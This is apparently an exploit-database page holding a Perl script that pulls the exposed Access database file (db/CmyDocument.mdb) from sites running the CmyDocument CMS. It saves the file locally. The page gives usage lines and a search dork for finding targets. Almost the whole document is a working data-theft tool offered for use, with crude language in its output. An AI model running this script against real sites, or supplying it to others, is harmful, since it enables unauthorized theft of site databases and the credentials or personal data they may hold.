CmyDocument CMS Database Disclosure



EKU-ID: 4890 CVE: OSVDB-ID:
Author: indoushka Published: 2015-06-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/perl -w
#
# CmyDocument Content Management Database Disclosure Exploit 
#
# Author : indoushka
#
# Vondor : http://sourceforge.net/projects/cmydocument/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('CmyDocument Content Management Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
print "[-]Dork : openSource, created by Jerry Clark\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="db/CmyDocument.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Fuck you wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/CmyDocument.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/CmyDocument.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}